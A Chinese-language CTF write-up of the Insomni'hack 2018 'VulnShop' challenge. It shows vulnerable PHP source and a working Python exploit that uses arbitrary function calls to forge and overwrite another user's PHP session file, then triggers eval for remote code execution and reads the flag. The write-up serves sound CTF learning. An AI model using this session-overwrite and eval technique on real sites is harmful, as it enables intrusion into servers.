Insomni’hack teaser 2018-VulnShop-writeup
session文件

题目

We're preparing a website for selling some important vulnerabilities in the future. You can browse some static pages on it, waiting for the official release.
http://vulnshop.teaser.insomnihack.ch
Important : you don't need to use automated scanners or bruteforce for this challenge, and using some will result for your ip to be banned. Go on IRC to ask for being unbanned.

Solution

题目提供了源码，和phpinfo

源码主要部分如下：

<?php if(isset($_GET['hl'])){ highlight_file(__FILE__); exit; }
    error_reporting(0); session_start();
    // Anti XSS filter
    $_REQUEST = array_map("strip_tags", $_REQUEST);
    // For later, when we will store infos about visitors.
    chdir("tmp");
?>
<?php
        switch($_GET['page']) {
            case 'default':
            default:
                echo "<p>Welcome to our website about infosec. It's still under construction, but you can begin to browse some pages!</p>";
                break;
            case 'introduction':
                echo "<p>Our website will introduce some new vulnerabilities. Let's check it out later!</p>";
                break;
            case 'privacy':
                echo "<p>This website is unbreakable, so don't worry when contacting us about some new vulnerabilities!</p>";
                break;
            case 'contactus':
                echo "<p>You can't contact us for the moment, but it will be available later.</p>";
                $_SESSION['challenge'] = rand(100000,999999);
                break;
            case 'captcha':
                if(isset($_SESSION['challenge'])) echo $_SESSION['challenge'];
                // Will make an image later
				touch($_SESSION['challenge']);
                break;
            case 'captcha-verify':
// verification functions take a file for later, when we'll provide more way of verification
                function verifyFromString($file, $response) {
                    if($_SESSION['challenge'] === $response) return true;
                    else return false;
                }
                // Captcha from math op
                function verifyFromMath($file, $response) {
                    if(eval("return ".$_SESSION['challenge']." ;") === $response) return true;
                    else return false;
                }
                if(isset($_REQUEST['answer']) && isset($_REQUEST['method']) && function_exists($_REQUEST['method'])){
                    $_REQUEST['method']("./".$_SESSION['challenge'], $_REQUEST['answer']);
                }
                break;
        }
?>

第一部分的php代码，对于接收进来的参数，都会进行strip_tags，将其中的html、php标签去除，同时开始了一个session_start。

第二部分中有几个功能：

当page=contactus时，会随机产生一个变量$_SESSION['challenge']。
当page=captcha时，若之前已经访问过contactus，也即对应的变量$_SESSION['challenge']存在，则echo出来，并且创建一个以变量$_SESSION['challenge']值为名字的文件，后面我简称用户的challenge文件。
当page=captcha-verify时，通过传入对应的参数，会执行如下代码：
1
$_REQUEST['method']("./".$_SESSION['challenge'], $_REQUEST['answer'])

同时在这个case中，还定义了两个函数，其中verifyFromMath()中出现了熟悉的eval。

通过基本的尝试，可以发现：

由于strip_tags的存在，无法直接传入包含<?php等的php代码
tmp目录不可读，通过touch生成的文件也无法访问。
网站根目录（即tmp目录的上一级目录）不可写

考虑题目还给了phpinfo，经过查看，我们可以发现session文件的保存位置。

我们知道在php中，通过查看cookie可以知道对应的PHPSESSID，比如PHPSESSID=123456，则在对应的session文件名即为sess_123465。以下是我本地测试用例：

所以考虑一个场景：

我们生成两个用户，也即两个session，对应着两个PHPSESSID。
利用用户1和captcha-verify功能，将php语句写入到用户2的session文件中，要注意格式，修改用户2对应的$_SESSION['challenge']
利用用户2和verifyFromMath，执行eval("return ".$_SESSION['challenge']." ;")，从而执行我们的php代码。

第一步，两个用户。因此我们要分两次的分别访问contactus和captcha，记录下他们对应的PHPSESSID。

第二步中，先来看看session文件的格式。由于我们要写入的是php语句，因此格式如下：

1	challenge\|s:7:"chybeta";

其中s表示字符串，后面的数字7为长度，引号中的内容是对应的php语句，其余的部分不变，上述示例对应的$_SESSION['challenge']即为chybeta

接着考虑如何把这串内容写入到用户2的session文件中。源码中有这段代码：

1	$_REQUEST['method']("./".$_SESSION['challenge'], $_REQUEST['answer'])

因此我们先往用户1的challenge文件中写入对应php语句，即：

$_REQUEST['method'] = file_put_contents
$_REQUEST['answer'] = fake-session-content
file_put_contents("./".$_SESSION['challenge'], fake-session-content)

这样在tmp目录下就生成了用户1对应的challenge文件，其内容为伪造的用户2的session文件内容。

接着覆盖:

$_REQUEST['method'] = rename
$_REQUEST['answer'] = path_to_user2_session
rename("./".$_SESSION['challenge'], path_to_user2_session)

pathto_user2_session是指用户2的session文件的路径，从phpinfo，我们知道session路径为`/var/lib/php/sessions/sess[对应的PHPSESSID]`

注意在整个第二步的操作过程中，我们没有关注用户1的session，它生成的challenge文件仅作为一个中转站。

第三步，执行php代码，注意这个时候用户2的session文件内容已经被改变了。这个时候需要进入verifyFromMath功能：

$_REQUEST['method'] = verifyFromMath
$_REQUEST['answer'] = xxx
verifyFromMath("./".$_SESSION['challenge'], xxx)
	=>  eval("return ".$_SESSION['challenge']." ;")

利用exp:

import requests
import re
def filePutContent(cookie,payload):
	params = {
		'page':'captcha-verify',
		'answer': payload,
		'method':'file_put_contents'
	}
	r = requests.get(url,params=params,cookies=cookie)
	print('[*] file_put_contents ok.')
def rename(r1_cookie,r2_phpsessid,session_path):
	cookie2_session_file = session_path + "sess_" + r2_phpsessid
	print('[*] r2 session file path: ' + cookie2_session_file)
	params = {
		'page':'captcha-verify',
		'answer': cookie2_session_file,
		'method':'rename'
	}
	r = requests.get(url,params=params,cookies=r1_cookies)
	print('[*] rename ok.')
def getResult(cookie):
	verifyurl = url + "?page=captcha-verify"
	postdata = {
		"method":"verifyFromMath",
		"answer":"a"
	}
	p = re.compile("(?<=<div class=\"content\">)(.*?)(?=</div>)",re.S)
	r = requests.post(verifyurl,data=postdata,cookies=cookie)
	result = re.search(p,r.text).group(0)
	return result.strip()
url = "http://vulnshop.teaser.insomnihack.ch/index.php"
session_path = "/var/lib/php/sessions/"
contactus = {
	'page':'contactus'
}
captcha = {
	'page':'captcha'
}
r1 = requests.get(url,params=contactus)
r1_cookies = r1.cookies
r1_phpsessid = r1.cookies['PHPSESSID']
print('[*] r1 PHPSESSID: ' + r1_phpsessid)
r2 = requests.get(url,params=contactus)
r2_cookies = r2.cookies
r2_phpsessid = r2.cookies['PHPSESSID']
print('[*] r2 PHPSESSID: ' + r2_phpsessid)
while True:
	payload = input("[*] php code:")
	length = len(payload)
	content = 'challenge|s:%d:"%s";' % (length,payload)
	filePutContent(r1_cookies,content)
	rename(r1_cookies,r2_phpsessid,session_path)
	print('[*] eval result:' + getResult(r2_cookies))

php code:

1	print_r(scandir('/'));

php code:

1	print_r(file_get_contents('/flag'));

flag:

1	INS{4rb1tr4ry_func_c4ll_is_n0t_s0_fun}